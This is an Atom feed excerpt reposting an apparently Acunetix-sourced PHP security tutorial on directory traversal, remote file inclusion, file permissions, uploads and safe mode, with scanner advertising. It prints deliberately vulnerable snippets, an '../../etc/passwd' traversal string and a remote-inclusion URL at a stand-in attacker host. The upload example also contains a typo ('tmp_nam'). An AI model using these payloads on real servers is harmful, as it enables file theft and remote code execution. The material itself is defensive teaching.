src='https://blogger.googleusercontent.com/tracker/1150134339246982062-6858343842006115051?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/6858343842006115051/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=6858343842006115051' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6858343842006115051'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/6858343842006115051'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-sql-security-part-2.html' title='PHP / SQL Security - Part 2'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-8904763974772241097</id><published>2008-06-05T12:43:00.002+05:30</published><updated>2008-06-05T14:25:12.733+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP / SQL Security - Part 3</title><content type='html'>&lt;p&gt;&lt;h6&gt;Last Time...&lt;/h6&gt;In the first article, I covered input   validation and securing user input. In the previous article, I looked at   securing database input, and securing databases themselves. This led on to the   issue of controlling file access within PHP, which is the topic of this part of   the series.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Directory Traversal Attacks&lt;/h3&gt;In a directory traversal   attack, the attacker will specify a filename containing characters which are   interpreted specially by the filesystem. Usually, . refers to the same   directory, and .. refers to its parent directory. For example, if your script   asks for a username, then opens a file specific to that username (code below)   then it can be exploited by passing a username which causes it to refer to a   different file.&lt;/p&gt;&lt;p&gt;$username = $_GET['user'];&lt;BR&gt;  $filename =   &amp;ldquo;/home/users/$username&amp;rdquo;;&lt;BR&gt;  readfile($filename);&lt;/p&gt;&lt;p&gt;If an attacker passes the query string&lt;/p&gt;&lt;p&gt;?user=../../etc/passwd&lt;/p&gt;&lt;p&gt;then PHP will read /etc/passwd and output that to the user. Since most   operating systems restrict access to system files, and with the advent of shadow   password files, this specific attack is less useful than it previously was, but   similarly damaging attacks can be made by obtaining .php files which may contain   database passwords, or other configuration data, or by obtaining the database   files themselves. Anything which the user executing PHP can access (usually,   since PHP is run from within a web server, this is the user the web server runs   as), PHP itself can access and output to a remote client.&lt;/p&gt;&lt;p&gt;Once again, PHP provides functions which step in and offer some protection   against this kind of attack, along with a configuration file directive to limit   the file paths a PHP script may access.&lt;/p&gt;&lt;p&gt;realpath() and basename() are the two functions PHP provides to help avoid   directory traversal attacks. realpath() translates any . or .. in a path,   resulting in the correct absolute path for a file. For example, the $filename   from above, passed into realpath(), would return&lt;/p&gt;&lt;p&gt;/etc/passwd&lt;/p&gt;&lt;p&gt;basename() strips the directory part of a name, leaving behind just the   filename itself. Using these two functions, it is possible to rewrite the script   above in a much more secure manner.&lt;/p&gt;&lt;p&gt;$username = basename(realpath($_GET['user']));&lt;BR&gt;  $filename =   &amp;ldquo;/home/users/$username&amp;rdquo;;&lt;BR&gt;  readfile($filename);&lt;/p&gt;&lt;p&gt;This variant is immune to directory traversal attacks, but it does not   prevent a user requesting a file they weren't expected to request, but which was   in the same directory as a file they are allowed to request. This can only be   prevented by changing filesystem permissions on files, by scanning the filename   for prohibited filenames, or by moving files you do not want people to be able   to request the contents of outside of the directory containing the files you do   want people to be able to access.&lt;/p&gt;&lt;p&gt;The configuration file variable open_basedir can be used to specify the base   directory, or a list of base directories, from which PHP can open files. A   script is forbidden to open a file from a directory which is not in the list, or   a subdirectory of one in the list.&lt;/p&gt;&lt;p&gt;Note that PHP included files are subject to this restriction, so the standard   PHP include directory should be listed under open_basedir as well as any   directories containing files you wish to provide access to through PHP.   open_basedir can be specified in php.ini, globally in httpd.conf, or as a   per-virtual host setting in httpd.conf. The php.ini syntax is&lt;/p&gt;&lt;p&gt;open_basedir = &amp;ldquo;/path:/path2:/path3&amp;rdquo;&lt;/p&gt;&lt;p&gt;The httpd.conf syntax makes use of the php_admin_value option,&lt;/p&gt;&lt;p&gt;php_admin_value open_basedir &amp;ldquo;/path:/path2:/path3&amp;rdquo;&lt;/p&gt;&lt;p&gt;open_basedir cannot be overridden in .htaccess files.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Remote Inclusion&lt;/h3&gt;PHP can be configured with the   allow_url_fopen directive, which allows it to treat a URL as a local file, and   allows URLs to be passed to any PHP function which expects a filename, including   readfile() and fopen(). This provides attackers with a mechanism by which they   can cause remote code to be executed on the server.&lt;/p&gt;&lt;p&gt;Consider the following case. Here, the include() function is used to include   a PHP page specific to an individual user. This may be to import their   preferences as a series of variables, or to import a new set of functionality   for a different user type.&lt;/p&gt;&lt;p&gt;include($_GET['username'] . '.php');&lt;/p&gt;&lt;p&gt;This assumes that the value of username in the GET request corresponds to the   name of a local file, ending with .php. When a user provides a name such as bob,   this looks for bob.php in the PHP include directories (current directory, and   those specified in php.ini). Consider, however, what happens if the user   enters&lt;/p&gt;&lt;p&gt;&lt;A target="_blank" href="http://www.attackers-r-us.com/nastycode"&gt;http://www.attackers-r-us.com/nastycode&lt;/A&gt;&lt;/p&gt;&lt;p&gt;This translates to http://www.attackers-r-us.com/nastycode.php and with   allow_url_fopen enabled, this remote file will be included into the script and   executed. Note that the remote server would have to serve php files as the raw   script, instead of processing them with a PHP module first, in order for this   attack to be effective, or a script would have to output PHP code (   readfile(realnastycode.php) for instance).&lt;/p&gt;&lt;p&gt;Mechanisms such as the above allow attackers to execute any code they desire   on vulnerable web systems. This is limited only by the limitations placed on PHP   on that system, and the limitations of the user under which PHP is running   (usually the same user that the entire web server is running under).&lt;/p&gt;&lt;p&gt;One simple way to prevent this style of attack is to disable allow_url_fopen.   This can be set in php.ini. If allow_url_fopen is required for some parts of   your site, another technique is to prefix the file path with the absolute path   to the starting directory. This reduces the portability of your scripts, since   that path must be set depending on where the script was installed, but it   results in increased security, since no path starting with a / (or X:\, or   whatever it is on your operating system) can be interpreted as a URL.&lt;/p&gt;&lt;p&gt;$username =   basename(realpath($_GET['username']));&lt;BR&gt;  include('/home/www/somesite/userpages/'   . $username . '.php');&lt;/p&gt;&lt;p&gt;The code above highlights not only prefixing with an absolute path, but also   protecting against directory traversal using basename and realpath.&lt;/p&gt;&lt;p&gt;Note that the third solution to the remote inclusion problem is to never use   user-supplied filenames. This alleviates a large number of file-related security   issues, and is recommended wherever possible. Databases and support for PHP   concepts such as classes should reduce user-specified file operations to a   minimum.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;File Permissions&lt;/h3&gt;Files created with PHP have default   permissions determined by the umask, short for unmask. This can be found by   calling the umask() function with no arguments.&lt;/p&gt;&lt;p&gt;The file permissions set are determined by a bitwise and of the umask against   the octal number 0777 (or the permissions specified to a PHP function which   allows you to do so, such as mkdir("temp",0777) ). In other words, the   permissions actually set on a file created by PHP would be 0777 &amp;amp;   umask().&lt;/p&gt;&lt;p&gt;A different umask can be set by calling umask() with a numeric argument. Note   that this does not default to octal, so umask(777) is not the same as   umask(0777). It is always advisable to prefix the 0 to specify that your number   is octal.&lt;/p&gt;&lt;p&gt;Given this, it is possible to change the default permissions by adding bits   to the umask. A umask is "subtracted" from the default permissions to give the   actual permissions, so if the default is 0777 and the umask is 0222, the   permissions the file will be given are 0555. If these numbers don't mean   anything to you, see the next section on UNIX File Permissions.&lt;/p&gt;&lt;p&gt;The umask is clearly important for security, as it defines the permissions   applied to a file, and therefore how that file may be accessed. However, the   umask applies server-wide for the duration it is set, so in a multi-threaded   server environment, you would set a default umask with appropriate value, and   leave it at that value. Use chmod() to change the permissions after creation of   files whose permissions must differ from the default.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;UNIX File Permissions&lt;/h3&gt;UNIX file permissions are split   into three parts, a user part, a group part, and an "others" part. The user   permissions apply to the user whose userid is specified as the owner of the   file. The group permissions apply to the group whose groupid is specified as the   group owner of the file, and the other permissions apply to everyone else.&lt;/p&gt;&lt;p&gt;The permissions are set as a sum of octal digits for each part, where read   permission is 4, write permission is 2, and execute permission is 1. To create   UNIX file permissions, add each permission digit you want to apply to each part,   then combine the three to get a single octal number (note, on the command line,   chmod automatically treats numbers as octal, in PHP, you need to specify a   leading zero).&lt;/p&gt;&lt;p&gt;The permissions are also commonly displayed in the form of r (read), w   (write) and x (execute), written three times in a single row. The first three   form the user permissions, second the group, and third others.&lt;/p&gt;&lt;p&gt;Take, for example, a file owned by user andrew and group users. The user   andrew must be able to read, write and execute the file, the users group must be   able to read and execute it, and everyone else must be able to execute only.&lt;/p&gt;&lt;p&gt;This corresponds to -rwxr-x--x, where each - is a placeholder for the missing   character of permissions (w, for instance, in the group, and rw in the others).   The - at the front is due to the fact that there is an extra part which   specifies other, UNIX specific, attributes. The ls directory listing tool uses   this first column to display a d character if the item is a directory.&lt;/p&gt;&lt;p&gt;To obtain this permission set in octal, simply add the digits 4, 2 and 1, in   three separate numbers, then combine them in order. The user permissions are   rwx, which is 4 + 2 + 1 = 7. The group permissions are r-x, which is 4 + 1 = 5,   and the other permissions are --x, which is 1 = 1. We now have the values 7 for   user, 5 for group, and 1 for others, which combines to the octal number   0751.&lt;/p&gt;&lt;p&gt;The actual permissions applied to a file created depend on the permissions   set, and the umask, which subtracts from the permissions set (actually its a   bitwise and, but it has the effect of subtracting, as long as you treat the   permissions as though they were three distinct octal numbers, and not a single   three digit octal number). A umask of 0266, (which is equivalent to not write,   not read or write, not read or write, for user, group, and others, respectively)   applied to a default permission of 0777, results in 0511, which is -r-x--x--x.   The umask is determined in the same way as the permissions, but you start with 7   and subtract the numbers for the permissions you do not want.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;/h3&gt; &lt;BR&gt;  The best way to   check whether your web site &amp;amp; applications are vulnerable to PHP security   attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner   crawls your entire website and automatically checks for vulnerabilities to PHP   attacks. It will indicate which scripts are vulnerable so that you can fix the   vulnerability easily. Besides PHP security vulnerabilities, a web application   scanner will also check for SQL injection, Cross site scripting &amp;amp; other web   vulnerabilities.&lt;/p&gt;&lt;p&gt;The &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;Acunetix Web   Vulnerability Scanner&lt;/A&gt; scans for &lt;A target="_blank" href="sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt;, &lt;A target="_blank" href="google-hacking.htm"&gt;Google hacking&lt;/A&gt; and many more   vulnerabilities. For &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;more information&lt;/A&gt; &amp;amp;   a trial download &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;click   here&lt;/A&gt;.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Check if your website is vulnerable to attack with Acunetix Web   Vulnerability Scanner&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Acunetix Web Vulnerability Scanner ensures website security by automatically   checking for &lt;A target="_blank" href="../vulnerability-scanner/sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt; and other vulnerabilities. It checks password strength on   authentication pages and automatically audits shopping carts, forms, dynamic   content and other web applications. As the scan is being completed, the software   produces detailed reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank" href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank" href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;/p&gt;&lt;p&gt;&lt;h3&gt;File Uploads&lt;/h3&gt;So far, we have discussed file operations as   they apply to existing files on the server, and files created by a PHP script   directly. We have not considered the security issues surrounding user-provided   files, i.e. direct file uploads. PHP has a number of built-in functions to deal   with file uploads in a safe manner, and these will be discussed in the next   article of the series.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Source: &lt;A target="_blank" href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-8904763974772241097?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/8904763974772241097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=8904763974772241097' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8904763974772241097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/8904763974772241097'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-sql-security-part-3.html' title='PHP / SQL Security - Part 3'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-5351650908538812638</id><published>2008-06-05T12:40:00.002+05:30</published><updated>2008-06-05T14:26:08.814+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP / SQL Security - Part 4</title><content type='html'>&lt;p&gt;&lt;h6&gt;Last time ...&lt;/h6&gt;This series started with a look at secure   input and output processing, preventing the attacker from causing the display of   your web sites being adversely affected by his input. These concepts were   extended to include database input and output, where we looked at SQL injection,   as well as other database security issues such as permissions and ownership, and   storing database passwords in PHP scripts. Part three moved on to take a look at   file security, directory traversal attacks, remote inclusion and file   permissions. In this part, we will wrap up the discussion on file security by   looking in detail at file uploads, an aspect of PHP where security matters   most!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;File Uploads&lt;/h3&gt;File uploads can occur as part of a   multi-part HTTP POST request. PHP provides ways to process these file uploads in   a secure manner, including checking to make sure the file you're operating on   was in fact an uploaded file. There are several security issues with file   uploads which should be addressed when designing secure PHP sites.&lt;/p&gt;&lt;p&gt;In the file-upload procedure, the filename as determined by the web browser   is passed to the web server, and thus to the PHP script. The filename supplied   by the browser is part of the submitted data, which may be under the control of   an attacker and therefore this filename should be distrusted wherever it is   possible to do so.&lt;/p&gt;&lt;p&gt;Consider the following case as an example. A PHP script which moves files to   the location reported by $_FILES['file']['name'] receives an upload from a   browser which told the web server the file it had just uploaded was   /home/andrew/.bashrc&lt;/p&gt;&lt;p&gt;Normally, .bashrc is a file which is associated with the UNIX Bash shell, and   contains commands executed by Bash every time a Bash shell is started. These   commands clearly run as the user who invoked the shell, and have all of the   privileges and permissions of that user. If PHP has write access to their home   directory, using the name of an uploaded file as it was supplied would allow for   an attacker to position a carefully prepared .bashrc file with a single POST   request. This file might then open a terminal session piped over a network port,   or run some kind of exploit or root kit, or worse!&lt;/p&gt;&lt;p&gt;In order to prevent this kind of attack, we must take heed of the advice from   part three of this series, stripping the filename down to remove the path data,   and distrust the browser-supplied filename. In doing so, it is ideally best to   create unique file names locally, perhaps based on the current time, or some   unique sequence stored in a (secure) database, and to use those unique names as   the actual on-disk filename. In order to avoid confusing end-users, it is   possible to map the real (unique) filename to the browser-supplied filename by   means of a database, and the browser-supplied name can be used for all   interaction with the user, whereas the unique, locally generated filename, will   be used for any server-side file operations.&lt;/p&gt;&lt;p&gt;If such a mechanism is not practical, for whatever reason, the precautions   from part three should be followed, and the browser-supplied filename should be   expanded to an absolute path using the realpath() function, and then the file   name part only obtained with the basename() function. realpath() translates any   . (which refers to the current directory) or .. (which refers to the parent   directory) in a path, resulting in the correct absolute path for a file.   basename() strips the directory part of a name, leaving behind just the filename   itself. This sanitised filename should then be reasonably safe to use directly   with the file functions of PHP.&lt;/p&gt;&lt;p&gt;However, if an attacker somehow managed to learn your directory structure,   then they may be able to overwrite other files in the directory into which you   place any uploaded files, by providing an upload with the same name as an   existing one, or with the same name as one of your PHP scripts, which may then   get included into another script and executed, or executed directly by web   access to that script, if it is in a location accessible to the web server. The   script execution scenario represents a very clear security threat, as has been   explained in the previous parts of this series, but many more subtle security   issues can occur as a result of replacement of a variety of system files, files   PHP or the web server rely on, or files used by your web application itself.&lt;/p&gt;&lt;p&gt;To maintain the best security, locally generated and unique filenames should   be preferred over the browser-supplied ones, and checks for the existence of a   file should be made prior to moving an uploaded file into a directory, so as to   prevent accidental (or intentional!) overwriting of files already on the   server.&lt;/p&gt;&lt;p&gt;File uploads can be turned off altogether if there is no reason for your web   application to accept uploaded files. This may be achieved by setting the   following directive in php.ini&lt;/p&gt;&lt;p&gt;file_uploads = Off&lt;/p&gt;&lt;p&gt;When file uploading is turned on, it is possible for the drive to become   filled by repeated uploads or by large files being uploaded. PHP provides a   mechanism to limit the length of any uploaded files, preventing the upload of   files larger than this size, but you would have to perform checks yourself to   make sure that the disk being used as the destination for these uploaded files   contains enough space that the file upload will not cause the free space to go   below a critical amount required for the functioning of the system. If the web   server, or any other service on the system, cannot create the files it needs to   perform its duty, because uploaded files have filled the available drive space,   this is a form of Denial of Service attack.&lt;/p&gt;&lt;p&gt;Individual POST requests can be limited in size using the following directive   in the php.ini file&lt;/p&gt;&lt;p&gt;post_max_size = 8M&lt;/p&gt;&lt;p&gt;Where the 8M sets an 8MB limit for the entire POST request. Note that file   uploads make up only a part of the multi-part HTTP POST request, and that if   multiple files are uploaded, the sum of their sizes forms the total file upload   size, which is only one part of the POST request size.&lt;/p&gt;&lt;p&gt;To control file upload size specifically, you can use the following php.ini   directive&lt;/p&gt;&lt;p&gt;upload_max_filesize = 2M&lt;/p&gt;&lt;p&gt;Where 2M specifies a 2MB filesize limit. Once again, note that this is the   total file size for all files included in the POST request, and not a per-file   limit. The upload_max_filesize should be slightly smaller than the post_max_size   because the POST request will contain other data, headers and form fields,   beyond the file data itself.&lt;/p&gt;&lt;p&gt;The default post_max_size is 10MB, which is much larger than most sites   require. Processing a POST request takes time, so limiting the size of the   request prevents an attacker from initiating several large POST requests which   would use up resources on the server and deny service to other users. Setting   this value to a lower value, around 2MB for sites which require small file   uploads, or under 1MB for sites which do not, should improve the responsiveness   of the server if it is under attack.&lt;/p&gt;&lt;p&gt;Uploaded files are moved to a temporary directory, since they are processed   by the web server itself, before PHP can see them. The default location for   temporary files is the system temporary file directory, which is usually defined   to be /tmp on a UNIX system. This temporary file directory is often readable by   all users, and therefore storing uploaded files here, even temporarily, is not   good security, since any user with access to the system is likely to have access   to the uploaded file data, between the time it was uploaded and the time that a   PHP script moves the file into its final destination.&lt;/p&gt;&lt;p&gt;It is considered good practice to change the directory used for uploading   temporary files to one which is owned by the user under which the web server   (and, consequently, PHP) runs, and prevent other users accessing this directory.   The following line in php.ini tells PHP to use a different location for   temporary storage of uploaded files.&lt;/p&gt;&lt;p&gt;upload_tmp_dir = /var/www/tmp&lt;/p&gt;&lt;p&gt;You can change /var/www/tmp to a different directory, suitable for your   server layout, and create it using the following&lt;/p&gt;&lt;p&gt;cd /var/www&lt;BR&gt;  mkdir tmp&lt;BR&gt;  chown httpd tmp&lt;/p&gt;&lt;p&gt;where httpd is the username of the user account under which the web server   runs.&lt;/p&gt;&lt;p&gt;When dealing with uploaded files, it is essential to know that the file you   are performing file operations on was, in fact, an uploaded file. It is possible   to trick PHP into operating on a file which was not actually uploaded, by   providing an incorrect filename, or exploiting some other vulnerability in the   web application. To make absolutely certain that you are operating on a file   which was indeed uploaded, PHP provides two functions. is_uploaded_file()   returns true only if the filename it was given was actually uploaded, and   move_uploaded_file() performs a file move operation only if the filename was in   fact an uploaded file. Combining these two functions is much safer than using   the standard file manipulation functions such as copy().&lt;/p&gt;&lt;p&gt;$supplied_name = $_FILES['file']['name'];&lt;/p&gt;&lt;p&gt;$temp_name = $_FILES['file']['tmp_nam'];&lt;/p&gt;&lt;p&gt;$count++; // Persistent counter to uniquely identify   files&lt;/p&gt;&lt;p&gt;$local_name = "file_$count";&lt;/p&gt;&lt;p&gt;if( is_uploaded_file($temp_name) )&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;move_uploaded_file($temp_name,   "/home/files/$local_name");&lt;/p&gt;&lt;p&gt;echo "File $supplied_name successfully uploaded.";&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;else&lt;/p&gt;&lt;p&gt;{&lt;/p&gt;&lt;p&gt;die("Error processing the file");&lt;/p&gt;&lt;p&gt;}&lt;/p&gt;&lt;p&gt;The script above combines some of the advice of the above sections. A locally   generated unique name is used for storing the files on the filesystem, the   is_uploaded_file() and move_uploaded_file() functions are used to ensure that   the file being operated on was an uploaded file, and an attacker did not trick   us into moving some system or other important file into a location from which   the web server can access it directly, and the browser-supplied filename is   displayed to the user for consistency.&lt;/p&gt;&lt;p&gt;The example could have been greatly improved; for example, checking that the   free disk space is not below a certain level before moving the file into it, so   as to prevent filling the drive, or storing a mapping of local unique name to   browser-supplied name in a database.&lt;/p&gt;&lt;p&gt;As a final word on file uploads, it is often a good idea to store uploaded   files outside of the web server's document tree, even if these files are to be   retrieved later. It is possible to create a PHP script, download.php, which   takes a filename in a GET request and uses readfile() to send the file to the   user, creating the appropriate headers for length and content-type. This is much   safer than allowing direct download, especially of user-uploaded files, since   the script can perform additional checking to make sure that the requested file   is one which should be downloadable, and can also perform other housekeeping   such as tracking download counts, or imposing limitations. Allowing downloads   through the web server directly eliminates much of this security and   functionality.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;How to check for PHP vulnerabilities&lt;/h3&gt;The best way to   check whether your web site &amp;amp; applications are vulnerable to PHP security   attacks is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner   crawls your entire website and automatically checks for vulnerabilities to PHP   attacks. It will indicate which scripts are vulnerable so that you can fix the   vulnerability easily. Besides PHP security vulnerabilities, a web application   scanner will also check for SQL injection, Cross site scripting &amp;amp; other web   vulnerabilities.&lt;/p&gt;&lt;p&gt;The &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;Acunetix Web   Vulnerability Scanner&lt;/A&gt; scans for &lt;A target="_blank" href="sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt;, &lt;A target="_blank" href="google-hacking.htm"&gt;Google hacking&lt;/A&gt; and many more   vulnerabilities. &lt;A target="_blank" href="http://www.acunetix.com/vulnerability-scanner/"&gt;For   more information&lt;/A&gt; &amp;amp; a &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;trial download click here&lt;/A&gt;.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Check if your website is vulnerable to attack with Acunetix Web   Vulnerability Scanner&lt;/h3&gt;&lt;/p&gt;&lt;p&gt;Acunetix Web Vulnerability Scanner ensures website security by automatically   checking for &lt;A target="_blank" href="../vulnerability-scanner/sql-injection.htm"&gt;SQL   injection&lt;/A&gt;, &lt;A target="_blank" href="../cross-site-scripting/Copy-scanner.htm"&gt;Cross site   scripting&lt;/A&gt; and other vulnerabilities. It checks password strength on   authentication pages and automatically audits shopping carts, forms, dynamic   content and other web applications. As the scan is being completed, the software   produces detailed reports that pinpoint where vulnerabilities exist. Take a &lt;A target="_blank" href="../vulnerability-scanner/features.htm"&gt;product tour&lt;/A&gt; or &lt;A target="_blank" href="../vulnerability-scanner/download.htm"&gt;download&lt;/A&gt; the evaluation version   today!&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Scanning for XSS vulnerabilities with Acunetix WVS Free   Edition!&lt;/h3&gt;To check whether your website has cross site scripting   vulnerabilities, download the Free Edition from &lt;A target="_blank" href="http://www.acunetix.com/cross-site-scripting/scanner.htm"&gt;http://www.acunetix.com/cross-site-scripting/scanner.htm&lt;/A&gt;.   This version will scan any website / web application for &lt;A target="_blank" href="xss.htm"&gt;XSS&lt;/A&gt; vulnerabilities and it will also reveal all the essential   information related to it, such as the vulnerability location and remediation   techniques. Scanning for XSS is normally a quick exercise (depending on the size   of the web-site).&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Later in the series&lt;/h3&gt;In the fifth part, the discussion   will lead away from specific security considerations and we will look at a more   general method for improving the overall security of the PHP system. The PHP   Safe Mode imposes additional restrictions on scripts, and increases the security   of multi-user hosting systems, preventing users accessing each others scripts or   files. The specifics of how safe mode works, why it is a good idea to use it,   and how to go about doing so, are discussed next time. In addition, some of the   drawbacks of using safe mode are also explained.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Source: &lt;A target="_blank" href="http://www.acunetix.com/websitesecurity/"&gt;Website security&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1150134339246982062-5351650908538812638?l=itsmeeashok.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://itsmeeashok.blogspot.com/feeds/5351650908538812638/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1150134339246982062&amp;postID=5351650908538812638' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5351650908538812638'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1150134339246982062/posts/default/5351650908538812638'/><link rel='alternate' type='text/html' href='http://itsmeeashok.blogspot.com/2008/06/php-sql-security-part-4.html' title='PHP / SQL Security - Part 4'/><author><name>Ashok Kumar S</name><uri>http://www.blogger.com/profile/16392927543676839906</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='http://bp1.blogger.com/_Rw07kWOIZdA/SCQdWMGX2kI/AAAAAAAAAFs/_vAXw1sBW4Y/S220/Globe.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1150134339246982062.post-9131250077102217012</id><published>2008-06-05T12:38:00.001+05:30</published><updated>2008-06-05T14:26:59.847+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='PHP / SQL Security'/><title type='text'>PHP / SQL Security - Part 5</title><content type='html'>&lt;p&gt;&lt;h6&gt;Last time ...&lt;/h6&gt;Long ago, back in the beginning, we covered   input verification, SQL security, database security, and file operations.&lt;/p&gt;&lt;p&gt;In the last article, we looked at file uploads in detail. This followed on   from input verification, SQL security, and file management security.&lt;/p&gt;&lt;p&gt;It was promised at the end of part four that the PHP Safe Mode would be   introduced next. Safe Mode is a generic set of options and restrictions applied   to the entirety of PHP, restricting access to files, preventing operations which   have severe security implications, and improving the security of multi-user   hosting environments.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;What Is Safe Mode?&lt;/h3&gt;Safe mode is an attempt to solve some   of the problems that are introduced when running a PHP enabled web server in a   shared hosting environment. The additional security checks imposed by Safe Mode   are, however, performed at the PHP level, since the underlying web server and   operating system security architecture is usually not sufficient to impose the   necessary security restrictions for a multi-user environment, in which many   users may be able to upload and execute PHP code.&lt;/p&gt;&lt;p&gt;The problem generally arises when PHP is run in a web server which hosts and   executes scripts provided by multiple users. Since the web server process itself   runs as a single system user, that user account must have access to each hosted   user's files. This means that any script running on the web server has access to   each user's files.&lt;/p&gt;&lt;p&gt;It is not possible to use operating system level security to restrict which   files can be accessed, since the web server process (and hence PHP) needs access   to all of them in order to serve user web pages. The only available solution is   to address these issues at the PHP level.&lt;/p&gt;&lt;p&gt;PHP Safe Mode does just this; it imposes a set of restrictions on multi-user   systems, within the core PHP engine, and scripts are run within those imposed   restrictions. The full details of Safe Mode are explained below, but I would   like to point out here that while Safe Mode restricts PHP scripts, those   restrictions obviously do not (and cannot!) apply to external programs executed   by PHP. It is therefore possible to specify a safe directory for executable   programs, but even with this capability, if any of those programs allow access   to files outside of the Safe Mode configured directories, it will still be   possible for a malicious user to access another user's files.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;What Does Safe Mode Restrict?&lt;/h3&gt;Enabling Safe Mode imposes   several restrictions on PHP scripts. These restrictions are mostly concerned   with file access, access to environment variables and controlling the execution   of external processes.&lt;/p&gt;&lt;p&gt;&lt;h3&gt;Restricting File Access&lt;/h3&gt;Additional checks are performed   by PHP when running in Safe Mode, prior to any file operation taking place. 